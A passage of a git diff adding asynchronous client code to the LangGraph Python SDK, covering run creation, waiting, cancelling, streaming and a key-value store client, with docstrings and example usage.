stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> Run: ... + + async def create( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + stream_mode: StreamMode | Sequence[StreamMode] = "values", + stream_subgraphs: bool = False, + stream_resumable: bool = False, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + on_completion: OnCompletionBehavior | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + ) -> Run: + """Create a background run. + + Args: + thread_id: the thread ID to assign to the thread. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to stream from. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: A command to execute. Cannot be combined with input. + stream_mode: The stream mode(s) to use. + stream_subgraphs: Whether to stream output from subgraphs. + stream_resumable: Whether the stream is considered resumable. + If true, the stream can be resumed and replayed in its entirety even after disconnection. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + headers: Optional custom headers to include with the request. + on_run_created: Optional callback to call when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + + Returns: + The created background run. + + ???+ example "Example Usage" + + ```python + + background_run = await client.runs.create( + thread_id="my_thread_id", + assistant_id="my_assistant_id", + input={"messages": [{"role": "user", "content": "hello!"}]}, + metadata={"name":"my_run"}, + context={"model_name": "openai"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ) + print(background_run) + ``` + + ```shell + -------------------------------------------------------------------------------- + + { + 'run_id': 'my_run_id', + 'thread_id': 'my_thread_id', + 'assistant_id': 'my_assistant_id', + 'created_at': '2024-07-25T15:35:42.598503+00:00', + 'updated_at': '2024-07-25T15:35:42.598503+00:00', + 'metadata': {}, + 'status': 'pending', + 'kwargs': + { + 'input': + { + 'messages': [ + { + 'role': 'user', + 'content': 'how are you?' + } + ] + }, + 'config': + { + 'metadata': + { + 'created_by': 'system' + }, + 'configurable': + { + 'run_id': 'my_run_id', + 'user_id': None, + 'graph_id': 'agent', + 'thread_id': 'my_thread_id', + 'checkpoint_id': None, + 'assistant_id': 'my_assistant_id' + }, + }, + 'context': + { + 'model_name': 'openai' + } + 'webhook': "https://my.fake.webhook.com", + 'temporary': False, + 'stream_mode': ['values'], + 'feedback_keys': None, + 'interrupt_after': ["node_to_stop_after_1","node_to_stop_after_2"], + 'interrupt_before': ["node_to_stop_before_1","node_to_stop_before_2"] + }, + 'multitask_strategy': 'interrupt' + } + ``` + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + payload = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "stream_mode": stream_mode, + "stream_subgraphs": stream_subgraphs, + "stream_resumable": stream_resumable, + "config": config, + "context": context, + "metadata": metadata, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "checkpoint_during": checkpoint_during, + "multitask_strategy": multitask_strategy, + "if_not_exists": if_not_exists, + "on_completion": on_completion, + "after_seconds": after_seconds, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + payload = {k: v for k, v in payload.items() if v is not None} + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs" if thread_id else "/runs", + json=payload, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + + async def create_batch( + self, + payloads: builtins.list[RunCreate], + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> builtins.list[Run]: + """Create a batch of stateless background runs.""" + + def filter_payload(payload: RunCreate): + return {k: v for k, v in payload.items() if v is not None} + + filtered = [filter_payload(payload) for payload in payloads] + return await self.http.post( + "/runs/batch", json=filtered, headers=headers, params=params + ) + + @overload + async def wait( + self, + thread_id: str, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> builtins.list[dict] | dict[str, Any]: ... + + @overload + async def wait( + self, + thread_id: None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint_during: bool | None = None, + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + ) -> builtins.list[dict] | dict[str, Any]: ... + + async def wait( + self, + thread_id: str | None, + assistant_id: str, + *, + input: Input | None = None, + command: Command | None = None, + metadata: Mapping[str, Any] | None = None, + config: Config | None = None, + context: Context | None = None, + checkpoint: Checkpoint | None = None, + checkpoint_id: str | None = None, + checkpoint_during: bool | None = None, # deprecated + interrupt_before: All | Sequence[str] | None = None, + interrupt_after: All | Sequence[str] | None = None, + webhook: str | None = None, + on_disconnect: DisconnectMode | None = None, + on_completion: OnCompletionBehavior | None = None, + multitask_strategy: MultitaskStrategy | None = None, + if_not_exists: IfNotExists | None = None, + after_seconds: int | None = None, + langsmith_tracing: LangSmithTracing | None = None, + raise_error: bool = True, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + on_run_created: Callable[[RunCreateMetadata], None] | None = None, + durability: Durability | None = None, + ) -> builtins.list[dict] | dict[str, Any]: + """Create a run, wait until it finishes and return the final state. + + Args: + thread_id: the thread ID to create the run on. + If `None` will create a stateless run. + assistant_id: The assistant ID or graph name to run. + If using graph name, will default to first assistant created from that graph. + input: The input to the graph. + command: A command to execute. Cannot be combined with input. + metadata: Metadata to assign to the run. + config: The configuration for the assistant. + context: Static context to add to the assistant. + !!! version-added "Added in version 0.6.0" + checkpoint: The checkpoint to resume from. + checkpoint_during: (deprecated) Whether to checkpoint during the run (or only at the end/interruption). + interrupt_before: Nodes to interrupt immediately before they get executed. + interrupt_after: Nodes to Nodes to interrupt immediately after they get executed. + webhook: Webhook to call after LangGraph API call is done. + on_disconnect: The disconnect mode to use. + Must be one of 'cancel' or 'continue'. + on_completion: Whether to delete or keep the thread created for a stateless run. + Must be one of 'delete' or 'keep'. + multitask_strategy: Multitask strategy to use. + Must be one of 'reject', 'interrupt', 'rollback', or 'enqueue'. + if_not_exists: How to handle missing thread. Defaults to 'reject'. + Must be either 'reject' (raise error if missing), or 'create' (create new thread). + after_seconds: The number of seconds to wait before starting the run. + Use to schedule future runs. + langsmith_tracing: LangSmith tracing configuration. Allows routing traces + to a specific project or associating with a dataset example. + headers: Optional custom headers to include with the request. + on_run_created: Optional callback to call when a run is created. + durability: The durability to use for the run. Values are "sync", "async", or "exit". + "async" means checkpoints are persisted async while next graph step executes, replaces checkpoint_during=True + "sync" means checkpoints are persisted sync after graph step executes, replaces checkpoint_during=False + "exit" means checkpoints are only persisted when the run exits, does not save intermediate steps + + Returns: + The output of the run. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + final_state_of_run = await client.runs.wait( + thread_id=None, + assistant_id="agent", + input={"messages": [{"role": "user", "content": "how are you?"}]}, + metadata={"name":"my_run"}, + context={"model_name": "anthropic"}, + interrupt_before=["node_to_stop_before_1","node_to_stop_before_2"], + interrupt_after=["node_to_stop_after_1","node_to_stop_after_2"], + webhook="https://my.fake.webhook.com", + multitask_strategy="interrupt" + ) + print(final_state_of_run) + ``` + + ```shell + ------------------------------------------------------------------------------------------------------------------------------------------- + + { + 'messages': [ + { + 'content': 'how are you?', + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'human', + 'name': None, + 'id': 'f51a862c-62fe-4866-863b-b0863e8ad78a', + 'example': False + }, + { + 'content': "I'm doing well, thanks for asking! I'm an AI assistant created by Anthropic to be helpful, honest, and harmless.", + 'additional_kwargs': {}, + 'response_metadata': {}, + 'type': 'ai', + 'name': None, + 'id': 'run-bf1cd3c6-768f-4c16-b62d-ba6f17ad8b36', + 'example': False, + 'tool_calls': [], + 'invalid_tool_calls': [], + 'usage_metadata': None + } + ] + } + ``` + + """ + if checkpoint_during is not None: + warnings.warn( + "`checkpoint_during` is deprecated and will be removed in a future version. Use `durability` instead.", + DeprecationWarning, + stacklevel=2, + ) + payload = { + "input": input, + "command": ( + {k: v for k, v in command.items() if v is not None} if command else None + ), + "config": config, + "context": context, + "metadata": metadata, + "assistant_id": assistant_id, + "interrupt_before": interrupt_before, + "interrupt_after": interrupt_after, + "webhook": webhook, + "checkpoint": checkpoint, + "checkpoint_id": checkpoint_id, + "multitask_strategy": multitask_strategy, + "checkpoint_during": checkpoint_during, + "if_not_exists": if_not_exists, + "on_disconnect": on_disconnect, + "on_completion": on_completion, + "after_seconds": after_seconds, + "durability": durability, + "langsmith_tracer": langsmith_tracing, + } + endpoint = ( + f"/threads/{_quote_path_param(thread_id)}/runs/wait" + if thread_id is not None + else "/runs/wait" + ) + + def on_response(res: httpx.Response): + """Callback function to handle the response.""" + if on_run_created and (metadata := _get_run_metadata_from_response(res)): + on_run_created(metadata) + + response = await self.http.request_reconnect( + endpoint, + "POST", + json={k: v for k, v in payload.items() if v is not None}, + params=params, + headers=headers, + on_response=on_response if on_run_created else None, + ) + if ( + raise_error + and isinstance(response, dict) + and "__error__" in response + and isinstance(response["__error__"], dict) + ): + raise Exception( + f"{response['__error__'].get('error')}: {response['__error__'].get('message')}" + ) + return response + + async def list( + self, + thread_id: str, + *, + limit: int = 10, + offset: int = 0, + status: RunStatus | None = None, + select: builtins.list[RunSelectField] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> builtins.list[Run]: + """List runs. + + Args: + thread_id: The thread ID to list runs for. + limit: The maximum number of results to return. + offset: The number of results to skip. + status: The status of the run to filter by. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + The runs for the thread. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.runs.list( + thread_id="thread_id", + limit=5, + offset=5, + ) + ``` + + """ + query_params: dict[str, Any] = { + "limit": limit, + "offset": offset, + } + if status is not None: + query_params["status"] = status + if select: + query_params["select"] = select + if params: + query_params.update(params) + return await self.http.get( + f"/threads/{_quote_path_param(thread_id)}/runs", + params=query_params, + headers=headers, + ) + + async def get( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Run: + """Get a run. + + Args: + thread_id: The thread ID to get. + run_id: The run ID to get. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `Run` object. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + run = await client.runs.get( + thread_id="thread_id_to_delete", + run_id="run_id_to_delete", + ) + ``` + + """ + + return await self.http.get( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}", + headers=headers, + params=params, + ) + + async def cancel( + self, + thread_id: str, + run_id: str, + *, + wait: bool = False, + action: CancelAction = "interrupt", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Get a run. + + Args: + thread_id: The thread ID to cancel. + run_id: The run ID to cancel. + wait: Whether to wait until run has completed. + action: Action to take when cancelling the run. Possible values + are `interrupt` or `rollback`. Default is `interrupt`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.runs.cancel( + thread_id="thread_id_to_cancel", + run_id="run_id_to_cancel", + wait=True, + action="interrupt" + ) + ``` + + """ + query_params = { + "wait": 1 if wait else 0, + "action": action, + } + if params: + query_params.update(params) + if wait: + return await self.http.request_reconnect( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/cancel", + "POST", + params=query_params, + headers=headers, + ) + else: + return await self.http.post( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/cancel", + json=None, + params=query_params, + headers=headers, + ) + + async def cancel_many( + self, + *, + thread_id: str | None = None, + run_ids: Sequence[str] | None = None, + status: BulkCancelRunsStatus | None = None, + action: CancelAction = "interrupt", + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Cancel one or more runs. + + Can cancel runs by thread ID and run IDs, or by status filter. + + Args: + thread_id: The ID of the thread containing runs to cancel. + run_ids: List of run IDs to cancel. + status: Filter runs by status to cancel. Must be one of + `"pending"`, `"running"`, or `"all"`. + action: Action to take when cancelling the run. Possible values + are `"interrupt"` or `"rollback"`. Default is `"interrupt"`. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + # Cancel all pending runs + await client.runs.cancel_many(status="pending") + # Cancel specific runs on a thread + await client.runs.cancel_many( + thread_id="my_thread_id", + run_ids=["run_1", "run_2"], + action="rollback", + ) + ``` + + """ + payload: dict[str, Any] = {} + if thread_id: + payload["thread_id"] = thread_id + if run_ids: + payload["run_ids"] = run_ids + if status: + payload["status"] = status + query_params: dict[str, Any] = {"action": action} + if params: + query_params.update(params) + await self.http.post( + "/runs/cancel", + json=payload, + headers=headers, + params=query_params, + ) + + async def join( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict: + """Block until a run is done. Returns the final state of the thread. + + Args: + thread_id: The thread ID to join. + run_id: The run ID to join. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + result =await client.runs.join( + thread_id="thread_id_to_join", + run_id="run_id_to_join" + ) + ``` + + """ + return await self.http.request_reconnect( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/join", + "GET", + headers=headers, + params=params, + ) + + def join_stream( + self, + thread_id: str, + run_id: str, + *, + cancel_on_disconnect: bool = False, + stream_mode: StreamMode | Sequence[StreamMode] | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + last_event_id: str | None = None, + ) -> AsyncIterator[StreamPart]: + """Stream output from a run in real-time, until the run is done. + Output is not buffered, so any output produced before this call will + not be received here. + + Args: + thread_id: The thread ID to join. + run_id: The run ID to join. + cancel_on_disconnect: Whether to cancel the run when the stream is disconnected. + stream_mode: The stream mode(s) to use. Must be a subset of the stream modes passed + when creating the run. Background runs default to having the union of all + stream modes. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + last_event_id: The last event ID to use for the stream. + + Returns: + The stream of parts. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + async for part in client.runs.join_stream( + thread_id="thread_id_to_join", + run_id="run_id_to_join", + stream_mode=["values", "debug"] + ): + print(part) + ``` + + """ + query_params = { + "cancel_on_disconnect": cancel_on_disconnect, + "stream_mode": stream_mode, + } + if params: + query_params.update(params) + return self.http.stream( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}/stream", + "GET", + params=query_params, + headers={ + **({"Last-Event-ID": last_event_id} if last_event_id else {}), + **(headers or {}), + } + or None, + ) + + async def delete( + self, + thread_id: str, + run_id: str, + *, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete a run. + + Args: + thread_id: The thread ID to delete. + run_id: The run ID to delete. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.runs.delete( + thread_id="thread_id_to_delete", + run_id="run_id_to_delete" + ) + ``` + + """ + await self.http.delete( + f"/threads/{_quote_path_param(thread_id)}/runs/{_quote_path_param(run_id)}", + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_async/store.py b/libs/sdk-py/langgraph_sdk/_async/store.py new file mode 100644 index 0000000..9efb275 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/store.py @@ -0,0 +1,313 @@ +"""Async Store client for LangGraph SDK.""" + +from __future__ import annotations + +from collections.abc import Mapping, Sequence +from typing import Any, Literal + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk._shared.utilities import _provided_vals +from langgraph_sdk.schema import ( + Item, + ListNamespaceResponse, + QueryParamTypes, + SearchItemsResponse, +) + + +class StoreClient: + """Client for interacting with the graph's shared storage. + + The Store provides a key-value storage system for persisting data across graph executions, + allowing for stateful operations and data sharing across threads. + + ???+ example "Example" + + ```python + client = get_client(url="http://localhost:2024") + await client.store.put_item(["users", "user123"], "mem-123451342", {"name": "Alice", "score": 100}) + ``` + """ + + def __init__(self, http: HttpClient) -> None: + self.http = http + + async def put_item( + self, + namespace: Sequence[str], + /, + key: str, + value: Mapping[str, Any], + index: Literal[False] | list[str] | None = None, + ttl: int | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Store or update an item. + + Args: + namespace: A list of strings representing the namespace path. + key: The unique identifier for the item within the namespace. + value: A dictionary containing the item's data. + index: Controls search indexing - None (use defaults), False (disable), or list of field paths to index. + ttl: Optional time-to-live in minutes for the item, or None for no expiration. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.store.put_item( + ["documents", "user123"], + key="item456", + value={"title": "My Document", "content": "Hello World"} + ) + ``` + """ + for label in namespace: + if "." in label: + raise ValueError( + f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')." + ) + payload = { + "namespace": namespace, + "key": key, + "value": value, + "index": index, + "ttl": ttl, + } + await self.http.put( + "/store/items", json=_provided_vals(payload), headers=headers, params=params + ) + + async def get_item( + self, + namespace: Sequence[str], + /, + key: str, + *, + refresh_ttl: bool | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> Item: + """Retrieve a single item. + + Args: + key: The unique identifier for the item. + namespace: Optional list of strings representing the namespace path. + refresh_ttl: Whether to refresh the TTL on this read operation. If `None`, uses the store's default behavior. + + Returns: + Item: The retrieved item. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + item = await client.store.get_item( + ["documents", "user123"], + key="item456", + ) + print(item) + ``` + ```shell + + ---------------------------------------------------------------- + + { + 'namespace': ['documents', 'user123'], + 'key': 'item456', + 'value': {'title': 'My Document', 'content': 'Hello World'}, + 'created_at': '2024-07-30T12:00:00Z', + 'updated_at': '2024-07-30T12:00:00Z' + } + ``` + """ + for label in namespace: + if "." in label: + raise ValueError( + f"Invalid namespace label '{label}'. Namespace labels cannot contain periods ('.')." + ) + get_params: dict[str, Any] = {"namespace": ".".join(namespace), "key": key} + if refresh_ttl is not None: + get_params["refresh_ttl"] = refresh_ttl + if params: + get_params = {**get_params, **dict(params)} + return await self.http.get("/store/items", params=get_params, headers=headers) + + async def delete_item( + self, + namespace: Sequence[str], + /, + key: str, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> None: + """Delete an item. + + Args: + key: The unique identifier for the item. + namespace: Optional list of strings representing the namespace path. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + `None` + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + await client.store.delete_item( + ["documents", "user123"], + key="item456", + ) + ``` + """ + await self.http.delete( + "/store/items", + json={"namespace": namespace, "key": key}, + headers=headers, + params=params, + ) + + async def search_items( + self, + namespace_prefix: Sequence[str], + /, + filter: Mapping[str, Any] | None = None, + limit: int = 10, + offset: int = 0, + query: str | None = None, + refresh_ttl: bool | None = None, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> SearchItemsResponse: + """Search for items within a namespace prefix. + + Args: + namespace_prefix: List of strings representing the namespace prefix. + filter: Optional dictionary of key-value pairs to filter results. + limit: Maximum number of items to return (default is 10). + offset: Number of items to skip before returning results (default is 0). + query: Optional query for natural language search. + refresh_ttl: Whether to refresh the TTL on items returned by this search. If `None`, uses the store's default behavior. + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A list of items matching the search criteria. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + items = await client.store.search_items( + ["documents"], + filter={"author": "John Doe"}, + limit=5, + offset=0 + ) + print(items) + ``` + ```shell + + ---------------------------------------------------------------- + + { + "items": [ + { + "namespace": ["documents", "user123"], + "key": "item789", + "value": { + "title": "Another Document", + "author": "John Doe" + }, + "created_at": "2024-07-30T12:00:00Z", + "updated_at": "2024-07-30T12:00:00Z" + }, + # ... additional items ... + ] + } + ``` + """ + payload = { + "namespace_prefix": namespace_prefix, + "filter": filter, + "limit": limit, + "offset": offset, + "query": query, + "refresh_ttl": refresh_ttl, + } + + return await self.http.post( + "/store/items/search", + json=_provided_vals(payload), + headers=headers, + params=params, + ) + + async def list_namespaces( + self, + prefix: list[str] | None = None, + suffix: list[str] | None = None, + max_depth: int | None = None, + limit: int = 100, + offset: int = 0, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> ListNamespaceResponse: + """List namespaces with optional match conditions. + + Args: + prefix: Optional list of strings representing the prefix to filter namespaces. + suffix: Optional list of strings representing the suffix to filter namespaces. + max_depth: Optional integer specifying the maximum depth of namespaces to return. + limit: Maximum number of namespaces to return (default is 100). + offset: Number of namespaces to skip before returning results (default is 0). + headers: Optional custom headers to include with the request. + params: Optional query parameters to include with the request. + + Returns: + A list of namespaces matching the criteria. + + ???+ example "Example Usage" + + ```python + client = get_client(url="http://localhost:2024") + namespaces = await client.store.list_namespaces( + prefix=["documents"], + max_depth=3, + limit=10, + offset=0 + ) + print(namespaces) + + ---------------------------------------------------------------- + + [ + ["documents", "user123", "reports"], + ["documents", "user456", "invoices"], + ... + ] + ``` + """ + payload = { + "prefix": prefix, + "suffix": suffix, + "max_depth": max_depth, + "limit": limit, + "offset": offset, + } + return await self.http.post( + "/store/namespaces", + json=_provided_vals(payload), + headers=headers, + params=params, + ) diff --git a/libs/sdk-py/langgraph_sdk/_async/stream.py b/libs/sdk-py/langgraph_sdk/_async/stream.py new file mode 100644 index 0000000..870ce25 --- /dev/null +++ b/libs/sdk-py/langgraph_sdk/_async/stream.py @@ -0,0 +1,1993 @@ +"""Async thread-centric streaming surface for the v3 protocol. + +`AsyncThreadStream` is an async context manager that owns a +`ProtocolSseTransport` for one thread, dispatches commands (`run.start`, +`run.respond`), exposes typed subscriptions over a single shared SSE +(`subscribe`, `events`), surfaces lifecycle state (`interrupted`, +`interrupts`) via an always-on lifecycle watcher SSE, and provides typed +projections (`thread.values`, `thread.messages`, `thread.tool_calls`, +`thread.extensions`). + +Direct port of `libs/sdk/src/client/stream/index.ts`. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import random +from collections.abc import AsyncGenerator, AsyncIterator, Generator, Mapping +from dataclasses import dataclass, field +from typing import Any, Literal, TypedDict, cast + +from langchain_core.language_models.chat_model_stream import AsyncChatModelStream +from langchain_protocol import Event, SubscribeParams + +from langgraph_sdk._async.http import HttpClient +from langgraph_sdk.schema import QueryParamTypes +from langgraph_sdk.stream.controller import _SeenEventIds +from langgraph_sdk.stream.decoders import ( + DataDecoder, + Decoder, + ExtensionsDecoder, + MessagesDecoder, + SubgraphsDecoder, + ToolCallsDecoder, + validate_interleave_channels, +) +from langgraph_sdk.stream.subscription import compute_union_filter, infer_channel +from langgraph_sdk.stream.transport import ( + AsyncProtocolTransport, + EventStreamHandle, + ProtocolSseTransport, + ProtocolWebSocketTransport, +) + + +class InterruptPayload(TypedDict): + """Payload surfaced when the server requests human input for a thread.""" + + interrupt_id: str + value: Any + namespace: list[str] + + +@dataclass +class _RunTerminal: + """Terminal state record resolved into `_run_done` on lifecycle completion.""" + + status: Literal["completed", "errored"] + error: BaseException | None = None + + +@dataclass +class _Subscription: + """Internal record for one active subscription on an `AsyncThreadStream`.""" + + id: int + params: SubscribeParams + queue: asyncio.Queue = field(default_factory=asyncio.Queue) + # Why: asyncio.Queue[Event | None] as a subscript in the field annotation + # causes a type error with ty; bare asyncio.Queue is accepted. + + +# All public protocol channels used by the raw `events`/`subscribe` surface. +# Typed projections open narrower channel filters on the shared SSE. +_ALL_CHANNELS: list[str] = [ + "values", + "updates", + "messages", + "tools", + "lifecycle", + "input", + "checkpoints", + "tasks", + "custom", +] + + +def _exact_namespace_params( + channels: list[str], + namespace: list[str], +) -> SubscribeParams: + return { + "channels": channels, + "namespaces": [list(namespace)], + "depth": 0, + } + + +def _event_namespace(params_field: Any) -> list[str]: + if not isinstance(params_field, dict): + return [] + namespace = params_field.get("namespace") or [] + return list(namespace) if isinstance(namespace, list) else [] + + +_ROOT_TERMINAL_LIFECYCLE_EVENTS = frozenset({"completed", "failed"}) + + +def _is_root_terminal_lifecycle(event: Any) -> bool: + """Return True for a root-namespace lifecycle event marking run end. + + Matches the wire shape ``{method: "lifecycle", params: {namespace: [], + data: {event: "completed" | "failed"}}}``. Subgraph lifecycle events + (non-empty namespace) do not terminate the parent run. + """ + if not isinstance(event, dict): + return False + if event.get("method") != "lifecycle": + return False + params = event.get("params") or {} + if not isinstance(params, dict): + return False + if params.get("namespace") or []: + return False + data = params.get("data") or {} + if not isinstance(data, dict): + return False + return data.get("event") in _ROOT_TERMINAL_LIFECYCLE_EVENTS + + +class _AgentModule: + """Assistant graph helpers scoped to one thread stream.""" + + def __init__(self, owner: AsyncThreadStream) -> None: + self._owner = owner + + async def get_tree( + self, + *, + xray: int | bool = False, + headers: Mapping[str, str] | None = None, + params: QueryParamTypes | None = None, + ) -> dict[str, list[dict[str, Any]]]: + if self._owner._closed: + raise RuntimeError("AsyncThreadStream is closed.") + query_params: dict[str, Any] = {} + if xray: + query_params["xray"] = xray + if params: + query_params.update(dict(params)) + request_headers = {**self._owner._headers, **dict(headers or {})} + return await self._owner._http.get( + f"/assistants/{self._owner.assistant_id}/graph", + params=query_params, + headers=request_headers or None, + ) + + +class RunModule: + """Command dispatcher for `run.start`. + + Bound to one `AsyncThreadStream`; accesses its transport and id allocator. + """ + + def __init__(self, owner: AsyncThreadStream) -> None: + self._owner = owner + + async def start( + self, + *, + input: Any = None, + config: dict[str, Any] | None = None, + metadata: dict[str, Any] | None = None, + ) -> dict[str, Any]: + """Send `run.start` to the server. Returns the result (`{"run_id": ...}`).""" + params: dict[str, Any] = {"assistant_id": self._owner.assistant_id} + if input is not None: + params["input"] = input + if config is not None: + params["config"] = config + if metadata is not None: + params["metadata"] = metadata + loop = asyncio.get_running_loop() + gate: asyncio.Future[None] = 